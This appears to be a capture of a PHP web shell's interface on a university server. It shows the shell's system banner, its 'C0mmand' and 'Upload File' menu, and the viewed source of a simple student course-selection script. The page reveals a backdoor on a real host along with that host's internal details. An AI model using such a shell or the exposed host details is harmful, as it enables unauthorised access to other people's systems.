Server IP : 172.16.15.8 / Your IP : 18.189.186.247 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/crsterling/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); ?> <center> <H2> Course Selection Result </h2> </center> <HR> <?php $prefer = $_POST["prefer"]; $prefer2 = $_POST["prefer2"]; $n1 = $_SESSION['v1']; $n2 = $_SESSION['v2']; $n3 = $_SESSION['v3']; print "The name is $n1.<BR>"; print "The gender is $n2.<BR>"; print "The grade is $n3.<BR>"; $csCourse = array("CS112", "CS212", "CS310", "CS311", "CS380", "CS440", "CS480"); if(count($prefer) == 0) print "Oh no! Pick someting."; else { print "<P>Your selections were <UL>"; foreach ($prefer as $i) print "<LI>$csCourse[$i]"; print "</UL>"; } $mathCourse = array("Math135", "Math136", "Math171", "Math172", "Math271"); if(count($prefer2) == 0) print "Oh no! Pick someting."; else { print "<P>Your selections were <UL>"; foreach ($prefer2 as $k) print "<LI>$mathCourse[$k]"; print "</UL>"; } ?> </FONT>